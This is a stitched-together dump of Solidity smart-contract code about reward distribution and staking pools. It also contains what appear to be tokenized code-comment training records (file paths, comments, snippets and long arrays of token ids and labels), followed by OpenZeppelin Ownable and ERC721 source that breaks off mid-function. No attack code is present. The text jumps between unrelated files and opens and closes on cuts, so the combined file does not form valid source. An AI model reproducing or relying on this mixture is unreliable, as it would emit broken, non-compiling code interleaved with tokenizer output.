*/
event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IMultiRewardsBasePool.sol";
import "../interfaces/ITimeLockPool.sol";
import "./AbstractMultiRewards.sol";
import "./TokenSaver.sol";
abstract contract MultiRewardsBasePool is ERC20Votes, AbstractMultiRewards, IMultiRewardsBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC20 public immutable depositToken;
address[] public rewardTokens;
mapping(address => bool) public rewardTokensList;
mapping(address => address) public escrowPools;
mapping(address => uint256) public escrowPortions; // how much is escrowed 1e18 == 100%
mapping(address => uint256) public escrowDurations; // escrow duration in seconds
event RewardsClaimed(address indexed _reward, address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address[] memory _rewardTokens,
address[] memory _escrowPools,
uint256[] memory _escrowPortions,
uint256[] memory _escrowDurations
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractMultiRewards(balanceOf, totalSupply) {
require(_depositToken != address(0), "MultiRewardsBasePool.constructor: Deposit token must be set");
require(_rewardTokens.length == _escrowPools.length, "MultiRewardsBasePool.constructor: reward tokens and escrow pools length mismatch");
require(_rewardTokens.length == _escrowPortions.length, "MultiRewardsBasePool.constructor: reward tokens and escrow portions length mismatch");
require(_rewardTokens.length == _escrowDurations.length, "MultiRewardsBasePool.constructor: reward tokens and escrow durations length mismatch");
depositToken = IERC20(_depositToken);
for (uint i=0; i<_rewardTokens.length; i++) {
address rewardToken = _rewardTokens[i];
require(rewardToken != address(0), "MultiRewardsBasePool.constructor: reward token cannot be zero address");
address escrowPool = _escrowPools[i];
uint256 escrowPortion = _escrowPortions[i];
require(escrowPortion <= 1e18, "MultiRewardsBasePool.constructor: Cannot escrow more than 100%");
uint256 escrowDuration = _escrowDurations[i];
if (!rewardTokensList[rewardToken]) {
rewardTokensList[rewardToken] = true;
rewardTokens.push(rewardToken);
escrowPools[rewardToken] = escrowPool;
escrowPortions[rewardToken] = escrowPortion;
escrowDurations[rewardToken] = escrowDuration;
if(rewardToken != address(0) && escrowPool != address(0)) {
IERC20(rewardToken).safeApprove(escrowPool, type(uint256).max);
}
}
}
_setupRole(ADMIN_ROLE, msg.sender);
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
}
/// @dev A modifier which checks that the caller has the admin role.
modifier onlyAdmin() {
require(hasRole(ADMIN_ROLE, msg.sender), "MultiRewardsBasePool: only admin");
_;
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPoints(reward, _account, -(_amount.toInt256()));
}
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPoints(reward, _account, _amount.toInt256());
}
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
_correctPointsForTransfer(reward, _from, _to, _value);
}
}
function rewardTokensLength() external view returns (uint256) {
return rewardTokens.length;
}
function addRewardToken(
address _reward,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration)
external onlyAdmin
{
require(_reward != address(0), "MultiRewardsBasePool.addRewardToken: reward token cannot be zero address");
require(_escrowPortion <= 1e18, "MultiRewardsBasePool.addRewardToken: Cannot escrow more than 100%");
if (!rewardTokensList[_reward]) {
rewardTokensList[_reward] = true;
rewardTokens.push(_reward);
escrowPools[_reward] = _escrowPool;
escrowPortions[_reward] = _escrowPortion;
escrowDurations[_reward] = _escrowDuration;
if(_reward != address(0) && _escrowPool != address(0)) {
IERC20(_reward).safeApprove(_escrowPool, type(uint256).max);
}
}
}
function updateRewardToken(address _reward, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration) external onlyAdmin {
require(rewardTokensList[_reward], "MultiRewardsBasePool.updateRewardToken: reward token not in the list");
require(_reward != address(0), "MultiRewardsBasePool.updateRewardToken: reward token cannot be zero address");
require(_escrowPortion <= 1e18, "MultiRewardsBasePool.updateRewardToken: Cannot escrow more than 100%");
if (escrowPools[_reward] != _escrowPool && _escrowPool != address(0)) {
IERC20(_reward).safeApprove(_escrowPool, type(uint256).max);
}
escrowPools[_reward] = _escrowPool;
escrowPortions[_reward] = _escrowPortion;
escrowDurations[_reward] = _escrowDuration;
}
function distributeRewards(address _reward, uint256 _amount) external override nonReentrant {
IERC20(_reward).safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_reward, _amount);
}
function claimRewards(address _reward, address _receiver) public {
uint256 rewardAmount = _prepareCollect(_reward, _msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortions[_reward] / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
ITimeLockPool escrowPool = ITimeLockPool(escrowPools[_reward]);
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDurations[_reward], _receiver);
}
// ignore dust
if(nonEscrowedRewardAmount > 1) {
IERC20(_reward).safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_reward, _msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
function claimAll(address _receiver) external {
for (uint i=0; i<rewardTokens.length; i++) {
address reward = rewardTokens[i];
claimRewards(reward, _receiver);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IAbstractMultiRewards.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/**
* @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol
* Renamed dividends to rewards.
* @dev (OLD) Many functions in this contract were taken from this repository:
* https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol
* which is an example implementation of ERC 2222, the draft for which can be found at
* https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md
*
* This contract has been substantially modified from the original and does not comply with ERC 2222.
* Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated
* into this abstract contract which can be inherited by anything tracking ownership of reward shares.
*/
abstract contract AbstractMultiRewards is IAbstractMultiRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
/* ======== Constants ======== */
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed reward, address indexed account, int256 points);
/* ======== Internal Function References ======== */
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
/* ======== Storage ======== */
mapping(address => uint256) public pointsPerShare; //reward token address => points per share
mapping(address => mapping(address => int256)) public pointsCorrection; //reward token address => mapping(user address => pointsCorrection)
mapping(address => mapping(address => uint256)) public withdrawnRewards; //reward token address => mapping(user address => withdrawnRewards)
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
/* ======== Public View Functions ======== */
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param _reward Address of the reward token
* @param _account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address _reward, address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_reward, _account) - withdrawnRewards[_reward][_account];
}
/**
* @notice View the amount of rewards that an address has withdrawn.
* @param _reward The address of the reward token.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has withdrawn.
*/
function withdrawnRewardsOf(address _reward, address _account) public view override returns (uint256) {
return withdrawnRewards[_reward][_account];
}
/**
* @notice View the amount of rewards that an address has earned in total.
* @dev accumulativeFundsOf(reward, account) = withdrawableRewardsOf(reward, account) + withdrawnRewardsOf(reward, account)
* = (pointsPerShare[reward] * balanceOf(account) + pointsCorrection[reward][account]) / POINTS_MULTIPLIER
* @param _reward The address of the reward token.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has earned in total.
*/
function cumulativeRewardsOf(address _reward, address _account) public view override returns (uint256) {
return ((pointsPerShare[_reward] * getSharesOf(_account)).toInt256() + pointsCorrection[_reward][_account]).toUint256() / POINTS_MULTIPLIER;
}
/* ======== Dividend Utility Functions ======== */
/**
* @notice Distributes rewards to token holders.
* @dev It reverts if the total shares is 0.
* It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.
* About undistributed rewards:
* In each distribution, there is a small amount which does not get distributed,
* which is `(amount * POINTS_MULTIPLIER) % totalShares()`.
* With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting
* distributed in a distribution can be less than 1 (base unit).
*/
function _distributeRewards(address _reward, uint256 _amount) internal {
require(_reward != address(0), "AbstractRewards._distributeRewards: reward cannot be zero address");
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare[_reward] = pointsPerShare[_reward] + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _reward, _amount);
}
}
/**
* @notice Prepares collection of owed rewards
* @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is
* greater than 0.
*/
function _prepareCollect(address _reward, address _account) internal returns (uint256) {
require(_reward != address(0), "AbstractRewards._prepareCollect: reward cannot be zero address");
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_reward, _account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_reward][_account] = withdrawnRewards[_reward][_account] + _withdrawableDividend;
emit RewardsWithdrawn(_reward, _account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _reward, address _from, address _to, uint256 _shares) internal {
require(_reward != address(0), "AbstractRewards._correctPointsForTransfer: reward address cannot be zero address");
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: from address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: to address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare[_reward] * _shares).toInt256();
pointsCorrection[_reward][_from] = pointsCorrection[_reward][_from] + _magCorrection;
pointsCorrection[_reward][_to] = pointsCorrection[_reward][_to] - _magCorrection;
emit PointsCorrectionUpdated(_reward, _from, pointsCorrection[_reward][_from]);
emit PointsCorrectionUpdated(_reward, _to, pointsCorrection[_reward][_to]);
}
/**
* @dev Increases or decreases the points correction for `account` by
* `shares*pointsPerShare[reward]`.
*/
function _correctPoints(address _reward, address _account, int256 _shares) internal {
require(_reward != address(0), "AbstractRewards._correctPoints: reward cannot be zero address");
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_reward][_account] = pointsCorrection[_reward][_account] + (_shares * (pointsPerShare[_reward].toInt256()));
emit PointsCorrectionUpdated(_reward, _account, pointsCorrection[_reward][_account]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IAbstractMultiRewards {
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param reward Address of the reward token
* @param account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has withdrawn.
* @param reward The address of the reward token.
* @param account The address of a token holder.
* @return The amount of funds that `account` has withdrawn.
*/
function withdrawnRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has earned in total.
* accumulativeFundsOf(reward, account) = withdrawableRewardsOf(reward, account) + withdrawnRewardsOf(reward, account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[reward][account]) / POINTS_MULTIPLIER
* @param reward The address of the reward token.
* @param account The address of a token holder.
* @return The amount of funds that `account` has earned in total.
*/
function cumulativeRewardsOf(address reward, address account) external view returns (uint256);
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param reward the address of the reward token
* @param rewardsDistributed the amount of funds received for distribution
*/
event RewardsDistributed(address indexed by, address indexed reward, uint256 rewardsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param reward the address of the reward token
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
*/
event RewardsWithdrawn(address indexed reward, address indexed by, uint256 fundsWithdrawn);
}
|
* @dev See {IERC165-supportsInterface}./
|
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
| 7,245 |
[
1,
9704,
288,
45,
654,
39,
28275,
17,
28064,
1358,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
1071,
1476,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1560,
548,
422,
618,
12,
45,
16541,
3572,
25121,
2934,
5831,
548,
747,
2240,
18,
28064,
1358,
12,
5831,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xB73b496B73D49813aC92E181aE04dc50a8101D7b/sources/contracts/RecipeFactory.sol
|
RecipeArray[] public RecipeArray;
|
address[] public allRecipes;
| 5,644,140 |
[
1,
5650,
3151,
1076,
8526,
1071,
7776,
3151,
1076,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
1758,
8526,
1071,
777,
426,
3449,
281,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xbB148B1Eaa71C3C08EAdEc75cF44644efDf50FC4/sources/contracts/stake/AaveIncentivesController.sol
|
* @dev Claims reward for an user on behalf, on all the assets of the lending pool, accumulating the pending rewards. @param amount Amount of rewards to claim @param user Address to check and claim rewards @param to Address that will be receiving the rewards @return Rewards claimed/
|
function _claimRewards(
address[] calldata assets,
uint256 amount,
address claimer,
address user,
address to
) internal returns (uint256) {
if (amount == 0) {
return 0;
}
uint256 unclaimedRewards = _usersUnclaimedRewards[user];
DistributionTypes.UserStakeInput[] memory userState =
new DistributionTypes.UserStakeInput[](assets.length);
for (uint256 i = 0; i < assets.length; i++) {
userState[i].underlyingAsset = assets[i];
(userState[i].stakedByUser, userState[i].totalStaked) = IScaledBalanceToken(assets[i])
.getScaledUserBalanceAndSupply(user);
}
uint256 accruedRewards = _claimRewards(user, userState);
if (accruedRewards != 0) {
unclaimedRewards = unclaimedRewards.add(accruedRewards);
emit RewardsAccrued(user, accruedRewards);
}
if (unclaimedRewards == 0) {
return 0;
}
uint256 amountToClaim = amount > unclaimedRewards ? unclaimedRewards : amount;
IERC20(REWARD_TOKEN).transferFrom(_rewardsVault, to, amountToClaim);
emit RewardsClaimed(claimer, user, to, amountToClaim);
return amountToClaim;
}
| 7,182,669 |
[
1,
15925,
19890,
364,
392,
729,
603,
12433,
6186,
16,
603,
777,
326,
7176,
434,
326,
328,
2846,
2845,
16,
8822,
1776,
326,
4634,
283,
6397,
18,
225,
3844,
16811,
434,
283,
6397,
358,
7516,
225,
729,
5267,
358,
866,
471,
7516,
283,
6397,
225,
358,
5267,
716,
903,
506,
15847,
326,
283,
6397,
327,
534,
359,
14727,
7516,
329,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
14784,
17631,
14727,
12,
203,
565,
1758,
8526,
745,
892,
7176,
16,
203,
565,
2254,
5034,
3844,
16,
203,
565,
1758,
927,
69,
4417,
16,
203,
565,
1758,
729,
16,
203,
565,
1758,
358,
203,
225,
262,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
8949,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
565,
2254,
5034,
6301,
80,
4581,
329,
17631,
14727,
273,
389,
5577,
984,
14784,
329,
17631,
14727,
63,
1355,
15533,
203,
203,
565,
17547,
2016,
18,
1299,
510,
911,
1210,
8526,
3778,
729,
1119,
273,
203,
1377,
394,
17547,
2016,
18,
1299,
510,
911,
1210,
8526,
12,
9971,
18,
2469,
1769,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
7176,
18,
2469,
31,
277,
27245,
288,
203,
1377,
729,
1119,
63,
77,
8009,
9341,
6291,
6672,
273,
7176,
63,
77,
15533,
203,
1377,
261,
1355,
1119,
63,
77,
8009,
334,
9477,
25895,
16,
729,
1119,
63,
77,
8009,
4963,
510,
9477,
13,
273,
4437,
12825,
13937,
1345,
12,
9971,
63,
77,
5717,
203,
3639,
263,
588,
55,
12825,
1299,
13937,
1876,
3088,
1283,
12,
1355,
1769,
203,
565,
289,
203,
203,
565,
2254,
5034,
4078,
86,
5957,
17631,
14727,
273,
389,
14784,
17631,
14727,
12,
1355,
16,
729,
1119,
1769,
203,
565,
309,
261,
8981,
86,
5957,
17631,
14727,
480,
374,
13,
288,
203,
1377,
6301,
80,
4581,
329,
17631,
14727,
273,
6301,
80,
4581,
329,
17631,
14727,
18,
1289,
12,
8981,
86,
5957,
17631,
2
] |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
